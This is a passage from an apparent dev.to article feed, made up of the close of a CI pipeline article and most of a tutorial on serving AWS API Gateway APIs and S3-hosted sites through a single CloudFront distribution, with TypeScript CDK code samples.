&lt;strong&gt;Parallel Validation&lt;/strong&gt;: How status checks and matrix strategies streamline CI&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review Requirements&lt;/strong&gt;: Setting up code owners and approval gates&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security Scanning&lt;/strong&gt;: Cost-effective tools for vulnerability detection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Infrastructure Safety&lt;/strong&gt;: The dual-checkout pattern for secure CDK diffs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lessons Learned&lt;/strong&gt;: What worked, what didn't, and what I'd do differently&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The result is a pipeline that's both safer and more trustworthy, without sacrificing the development velocity that made us productive in the first place.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Coming Next
&lt;/h2&gt;

&lt;p&gt;In the next article, we'll dive into the technical implementation of GitHub Rule Sets and status checks. You'll learn how to set up parallel validation pipelines that can handle multiple projects simultaneously, using matrix strategies to optimize both performance and clarity.&lt;/p&gt;

&lt;p&gt;We'll cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Creating Rule Sets with JSON configuration&lt;/li&gt;
&lt;li&gt;Setting up status checks that actually work&lt;/li&gt;
&lt;li&gt;Implementing matrix strategies for parallel CI&lt;/li&gt;
&lt;li&gt;Optimizing caching and cleanup&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal is to transform your pull requests from simple code reviews into comprehensive validation checkpoints.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Continue with &lt;a href="https://dev.to/domderrien/github-rule-sets-enforcing-quality-through-status-checks-18nd"&gt;Part 2: GitHub Rule Sets - Enforcing Quality Through Status Checks →&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>cdk</category>
      <category>githubactions</category>
      <category>githubrulesets</category>
    </item>
    <item>
      <title>One CloudFront distribution to rule them all</title>
      <dc:creator>Dom Derrien</dc:creator>
      <pubDate>Sat, 15 Mar 2025 21:53:09 +0000</pubDate>
      <link>https://dev.to/domderrien/one-cloudfront-distribution-to-rule-them-all-2lmf</link>
      <guid>https://dev.to/domderrien/one-cloudfront-distribution-to-rule-them-all-2lmf</guid>
      <description>&lt;h2&gt;
  
  
  Context
&lt;/h2&gt;

&lt;p&gt;In large companies with half a dozen or more development teams, it's common to have each team to control its own infrastructure and deploy services independently.&lt;/p&gt;

&lt;p&gt;When I joined a startup, I initially maintained the same approach: one endpoint per service. However, I recently reorganized the code, consolidating everything into a single Git repository:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An HTTP API (using AWS API Gateway).&lt;/li&gt;
&lt;li&gt;A Websocket API (using AWS API Gateway).&lt;/li&gt;
&lt;li&gt;A static website (hosted on S3 and served via CloudFront).&lt;/li&gt;
&lt;li&gt;A CDN for persistent data (hosted on S3 and served via CloudFront).&lt;/li&gt;
&lt;li&gt;All configured and deployed using AWS CDK and GitHub Actions.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why consolidate all CloudFront distributions?
&lt;/h2&gt;

&lt;p&gt;Last September, I came across an interesting suggestion in Yan Cui's post on X (formerly Twitter):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you host your APIs or other resources on different domains (even subdomain), browsers make additional calls to those endpoints to meet CORS requirements.&lt;/li&gt;
&lt;li&gt;Since API Gateway charges per request and data transfer, this effectively means paying for two requests instead of one!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I appreciate the simplicity of deploying a web application where all requests to backend services use relative paths (&lt;code&gt;/api/v1/user/me&lt;/code&gt; or &lt;code&gt;/cdn/images/REWR7.avif&lt;/code&gt;) instead of fully qualified ones (&lt;a href="https://api.example.com/v1/user/me" rel="noopener noreferrer"&gt;https://api.example.com/v1/user/me&lt;/a&gt; or &lt;a href="https://cdn.example.com/images.REWR7.avif" rel="noopener noreferrer"&gt;https://cdn.example.com/images.REWR7.avif&lt;/a&gt;). This makes deploying the website virtually effortless, regardless of the environment.&lt;/p&gt;

&lt;p&gt;&lt;iframe class="tweet-embed" id="tweet-1760676981430206928-665" src="https://platform.twitter.com/embed/Tweet.html?id=1760676981430206928"&gt;
&lt;/iframe&gt;

  // Detect dark theme
  var iframe = document.getElementById('tweet-1760676981430206928-665');
  if (document.body.className.includes('dark-theme')) {
    iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1760676981430206928&amp;amp;theme=dark"
  }



&lt;/p&gt;

&lt;p&gt;While this situation can be mitigated, as I'll explain later, I decided to expose the APIs and S3 services through the same CloudFront distribution as the static website.&lt;/p&gt;

&lt;p&gt;My goals are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reduce costs by minimizing requests to the services.&lt;/li&gt;
&lt;li&gt;Reduce latency by minimizing the number of requests that need to be answered.&lt;/li&gt;
&lt;li&gt;Conserve network resources by maintaining only one open HTTP/2 or HTTP/3 connection.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Critical enablers
&lt;/h3&gt;

&lt;p&gt;Successful consolidation of multiple services within a single CloudFront distribution requires that there be no overlapping paths used to access those services.&lt;/p&gt;

&lt;p&gt;In my case:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The paths for the APIs did not conflict with any resource path deployed with the website. The path pattern is like: &lt;code&gt;/v{version}/{scope}/{resource}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The resources in S3 already had unique &lt;em&gt;prefixes&lt;/em&gt; (aka &lt;em&gt;folder names&lt;/em&gt; in S3-speak) such as &lt;code&gt;/data&lt;/code&gt;, &lt;code&gt;/assets&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;The website exposes files at the root level (like &lt;code&gt;/index.html&lt;/code&gt;), in standard folders (like &lt;code&gt;/.well-known&lt;/code&gt;), and a &lt;code&gt;/resources&lt;/code&gt; folder.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  With the help of the AWS CDK
&lt;/h2&gt;

&lt;p&gt;I much prefer writing code with the &lt;a href="https://constructs.dev/packages/aws-cdk-lib/v/2.184.1?lang=typescript" rel="noopener noreferrer"&gt;AWS CDK&lt;/a&gt; over scripting in Jenkins or writing YAML for Terraform. Infrastructure as Code (IaC) with the CDK is fantastic!&lt;/p&gt;

&lt;p&gt;With a couple of files, I defined the setup and behaviors of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A few tables in AWS DynamoDB for transactional data.&lt;/li&gt;
&lt;li&gt;One S3 bucket for persistent data.&lt;/li&gt;
&lt;li&gt;One Lambda function for each major HTTP API resource handler.&lt;/li&gt;
&lt;li&gt;One Lambda for the WebSocket authorizer and another one for its handler.&lt;/li&gt;
&lt;li&gt;And many other Lambda functions: for the scheduled jobs (EventBridge), for the state machine (AWS Step Functions), for the message queue management (AWS SQS), for transaction analysis (DynamoDB Streams), etc.&lt;/li&gt;
&lt;li&gt;Two static websites (one public, one for administrators) hosted on S3.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code samples I'm going to share below are written in TypeScript and work with the CDK v2.184. I have only made minor edits to match the domain &lt;a href="https://example.com" rel="noopener noreferrer"&gt;https://example.com&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The challenges
&lt;/h2&gt;

&lt;p&gt;For a seamless transition, I aimed to maintain the existing CloudFront distributions with robust CORS support.&lt;/p&gt;

&lt;p&gt;Consolidating into a single distribution must not compromise access control. I have one API secured by AWS Cognito, using a user pool for email-authenticated users, and another API with a custom authorizer for users authenticated via a third-party OpenID Connect provider.&lt;/p&gt;

&lt;p&gt;The existing caching strategy for each service and S3 bucket must be preserved.&lt;/p&gt;




&lt;h2&gt;
  
  
  The IaC code update
&lt;/h2&gt;

&lt;p&gt;For brevity, I'll only share the setup for the HTTP API, as the other setups are quite similar.&lt;/p&gt;

&lt;h3&gt;
  
  
  The configuration for the HTTP API and its own CloudFront distribution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// HTTP API&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;httpApi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HttpApi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ExampleHttpApi&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;corsPreflight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;allowCredentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;allowHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedRequestHeaders&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;allowMethods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;CorsHttpMethod&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ANY&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="na"&gt;allowOrigins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedOrigins&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;exposeHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedResponseHeaders&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;maxAge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HTTP API&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;disableExecuteApiEndpoint&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Because no custom domain, just CF&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API definition is set to issue the responses to the CORS preflights automatically. Accesses via CloudFront will see the response cached and served automatically during the next two hours.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// To let CloudFront handle the CORS-related headers&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;corsHeadersPolicy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseHeadersPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;CorsHeadersPolicy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;corsBehavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;accessControlAllowCredentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;accessControlAllowHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedRequestHeaders&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;accessControlAllowMethods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ALL&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="na"&gt;accessControlAllowOrigins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedOrigins&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;accessControlExposeHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedResponseHeaders&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;accessControlMaxAge&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="na"&gt;originOverride&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// CloudFront Distribution&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;distribution&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Distribution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ExampleHttpApiDistribution&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HTTP API front&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;defaultBehavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;allowedMethods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AllowedMethods&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ALLOW_ALL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;cachedMethods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AllowedMethods&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ALLOW_GET_HEAD_OPTIONS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;cachePolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CachePolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CACHING_DISABLED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;compress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HttpOrigin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;httpApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apiId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.execute-api.&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;Stack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.amazonaws.com`&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="na"&gt;originRequestPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;OriginRequestPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ALL_VIEWER_EXCEPT_HOST_HEADER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;responseHeadersPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;corsHeadersPolicy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;viewerProtocolPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ViewerProtocolPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;REDIRECT_TO_HTTPS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Force the dependency so `apiId` is available this CF setup starts&lt;/span&gt;
&lt;span class="nx"&gt;distribution&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addDependency&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;httpApi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the origin request policy &lt;code&gt;ALL_VIEWER_EXCEPT_HOST_HEADER&lt;/code&gt; is &lt;a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/using-managed-origin-request-policies.html#managed-origin-request-policy-all-viewer-except-host-header" rel="noopener noreferrer"&gt;recommended by AWS&lt;/a&gt; for API Gateway and Lambda function origins.&lt;/p&gt;




&lt;h3&gt;
  
  
  The configuration for the static website and its own CloudFront distribution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// S3 bucketCloudFront redirects requests to known endpoints&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bucket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ExampleWebsiteBucket&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;accessControl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BucketAccessControl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PRIVATE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;blockPublicAccess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BlockPublicAccess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BLOCK_ALL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// cors: [], // No CORS as it interferes with Origin Access Control (OAC)&lt;/span&gt;
    &lt;span class="na"&gt;enforceSSL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;removalPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;RemovalPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DESTROY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, the bucket is being given an automatic name by CloudFormation. The name is not important here because no script will ever use the AWS SDK to read or update the bucket content. The bucket is also set with the removal policy set to &lt;code&gt;DESTROY&lt;/code&gt; because its content can be recreated anytime.&lt;/p&gt;

&lt;p&gt;Note that I take a different strategy for the bucket that serves as my CDN:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The removal policy is set to &lt;code&gt;RETAIN&lt;/code&gt; because I don't want to lose the data accumulated over time.&lt;/li&gt;
&lt;li&gt;The bucket is named so the scripts can rely on a name known in advance.&lt;/li&gt;
&lt;li&gt;The bucket is part of a backup (also set with the CDK).
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// CloudFront distribution&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;distribution&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Distribution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ExampleWebsiteDistribution&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;certificate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Public website&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;defaultBehavior&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;allowedMethods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AllowedMethods&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ALLOW_GET_HEAD_OPTIONS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;cachePolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;CachePolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CACHING_OPTIMIZED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;compress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;S3BucketOrigin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withOriginAccessControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
           &lt;span class="na"&gt;originAccessControl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;S3OriginAccessControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;WebsiteOriginAccessControl&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
           &lt;span class="na"&gt;originAccessLevels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;AccessLevel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;READ&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="c1"&gt;// No `LIST` access for the website content&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="na"&gt;originRequestPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;OriginRequestPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CORS_S3_ORIGIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;responseHeadersPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;corsHeadersPolicy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Same as above&lt;/span&gt;
        &lt;span class="na"&gt;viewerProtocolPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ViewerProtocolPolicy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;REDIRECT_TO_HTTPS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;defaultRootObject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;index.html&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;domainNames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app.example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
